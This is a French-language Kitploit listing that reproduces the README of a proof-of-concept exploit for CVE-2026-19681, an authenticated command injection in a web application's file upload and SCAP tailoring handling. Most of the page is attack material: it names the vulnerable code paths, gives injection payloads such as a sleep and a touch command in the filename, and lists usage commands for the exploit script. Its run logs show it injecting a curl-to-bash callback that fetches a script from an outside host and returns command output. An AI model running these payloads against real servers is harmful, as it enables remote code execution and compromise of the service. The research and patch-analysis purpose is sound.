Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
POC-CVE-2026-19681 — Exploit de preuve de concept pour une injection de commande authentifiée dans le traitement de téléversement de fichiers, démontrant une chaîne en deux étapes via l'API REST avec exécution de commande par timing aveugle et par callback. | Kitploit
Outils/GitHubGitHub/h00die/poc-cve-2026-19681
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et ContrôleDéveloppement de Charges Utiles
GitHubh00die/poc-cve-2026-19681

POC-CVE-2026-19681

Exploit de preuve de concept pour une injection de commande authentifiée dans le traitement de téléversement de fichiers, démontrant une chaîne en deux étapes via l'API REST avec exécution de commande par timing aveugle et par callback.

Voir le dépôt
18il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Image du CVE

CVE-2026-19681 — injection de commande dans le traitement de téléversement de fichiers (authentifié)

Statut : CONFIRMÉ sur un lab 6.7.2-14.el9 (2026-08-20). Nom de fichier temporaire p;sleep${IFS}20;-EvvfJk via POST /rest/file/upload (le préfixe de contexte porte les métacaractères), puis POST /rest/auditFile (type=scapLinux, version=1.2) a mis exactement 20,1 s avant de renvoyer l'erreur 106 (« Error adding Tailoring file to SCAP zip file ») — le chemin d'erreur normal post-injection. L'exécution se produit dans la commande shell zip -9Tj sous l'identité de l'utilisateur du service web. (Corrigé en 6.9.0 selon le diff RPM ; la vulnérabilité est présente au moins en 6.7.2–6.8.x.)

Vulnérabilité

Chaîne en deux étapes, toutes deux sous le contrôle de l'attaquant :

  1. Contrôle du nom de fichier — POST /rest/file stocke les téléversements via Filesystem::saveTmp() (FilesystemLib.php:587), qui construit le nom sur disque à partir du paramètre brut context du client : tempnam($tmpDir, "$userID.$token." . $context . "-"). Les contextes inconnus échappent à toute validation de contenu (la NOTICE de Files.php qualifie cela d'« wide open since SC 4.x ») mais sont tout de même stockés — les métacaractères shell (;, $(), backticks) persistent donc dans le nom de fichier temporaire.

  2. Point d'injection — POST /rest/auditFile avec type∈SCAP, version=1.2 entre dans la branche de personnalisation (AuditFiles.php:163) : $scapZipFile = $tmpDir . $params['filename'] (entièrement contrôlé par le client) → AuditFileLib::addSCAPTailoringFile() ligne 2304 : $tmpZipFile = "{$tmpDir}/" . basename($scapZipFile) . ".zip" — basename() supprime / mais pas les métacaractères shell — puis non échappé dans exec("{$settings['CommandZIP']} -9Tj $tmpZipFile $newTailoringFilenameEsc").

Un second point d'injection de même classe : Files.php:360 exec("{$settings['CommandUNZIP']} -qq $filename -d $tmpDir/") dans extractFile().

Correctif (6.9.0)

escapeshellarg($tmpZipFile) dans les deux commandes zip ; Utility::execSafe() (proc_open sous forme argv + séparateur --) remplace l'exec de chaîne unzip ; validation du nom de fichier ajoutée dans AuditFiles::applySCAPTailoringFile() (c'est CVE-2026-19679).

PoC

# blind timing check (sleep in the context prefix; no '/' needed)
./poc.py --target https://sc.lab --username analyst --password 'pass' --check

# run a command with output capture: the PoC serves the script over HTTP, injects a
# short curl|bash callback, and prints the POSTed-back output. Target must be able to
# reach this machine (same L2 in the lab).
./poc.py --target https://sc.lab --username analyst --password 'pass' --cmd whoami

# verbatim injection (no callback) — payload must fit ~47 chars
./poc.py --target https://sc.lab --username analyst --password 'pass' \
         --cmd 'touch${IFS}/tmp/pwned' --no-exfil

Notes :

  • la ressource de téléversement est /rest/file/upload (champ multipart Filedata, champ de formulaire context) — découverte sur le lab ; d'autres versions peuvent différer, des candidats ont été testés.
  • budget de longueur : PHP tempnam() tronque le préfixe du nom temporaire — seulement ~50-55 caractères de context survivent (mesuré sur le lab ; la variante hex-bootstrap a été tronquée en plein payload). Les injections courtes comme p;sleep${IFS}20; tiennent ; tout ce qui est plus long passe par le serveur de callback.
  • le corps auditFile nécessite type=scapLinux|scapWindows, version=1.2, benchmarkName, dataStreamName (selon AuditFiles::validateAdd) ; PARAM_FILENAME ne rejette que / et les fichiers inexistants, donc ;/${IFS} passent.
  • le téléversement de personnalisation (context=tailoringFile) doit contenir un XML de datastream analysable avec au moins un Profile — un minimal est intégré.

Éléments à vérifier en lab (signalés dans la sortie du script s'ils échouent) :

  • Le XML de personnalisation minimal intégré doit satisfaire SCAPTailoringFileParser (>=1 profil) ; remplacez-le par un vrai datastream de personnalisation SCAP s'il est rejeté.
  • La chaîne type doit correspondre à un membre de AuditFileLib::$validSCAPTypes (scap attendu).
  • Les clés exactes du corps auditFile proviennent de AuditFiles::validateAdd() ; ajustez si le POST renvoie une erreur de paramètre.

Voir aussi

  • ../cve-2026-19679/ — la moitié validation d'entrée de la même chaîne (assainissement du nom de fichier), avec une analyse différentielle de détection de version.

Exemples d'exécution

$ python3 cve-2026-19681.py --target https://2.2.2.2 --username user --password "user" --cmd whoami
[+] authenticated, token 20425636...
[*] callback server on 1.1.1.1:33755 — injecting 'curl${IFS}1.1.1.1:33755|bash' (target must reach this IP)
[+] staged audit zip as filename='p;curl${IFS}1.1.1.1:33755|bash;-g6LDro'
[*] stage 2: uploading SCAP tailoring file (context=tailoringFile)
[+] staged tailoring file as filename='tailoringFile-15xUAv'
[*] stage 3: POST /rest/auditFile — addSCAPTailoringFile() exec() fires
[*] HTTP 403 in 0.1s: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787236048}
[*] injection fired in 0.1s; waiting for callback output ...
[+] command output:
tns
$ python3 cve-2026-19681.py --target https://2.2.2.2 --username user --password "user" --cmd pwd
[+] authenticated, token 20958963...
[*] callback server on 1.1.1.1:36809 — injecting 'curl${IFS}1.1.1.1:36809|bash' (target must reach this IP)
[+] staged audit zip as filename='p;curl${IFS}1.1.1.1:36809|bash;-G7e1sg'
[*] stage 2: uploading SCAP tailoring file (context=tailoringFile)
[+] staged tailoring file as filename='tailoringFile-DQzq4v'
[*] stage 3: POST /rest/auditFile — addSCAPTailoringFile() exec() fires
[*] HTTP 403 in 0.1s: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787236116}
[*] injection fired in 0.1s; waiting for callback output ...
[+] command output:
/opt/sc/www
Télécharger l’outil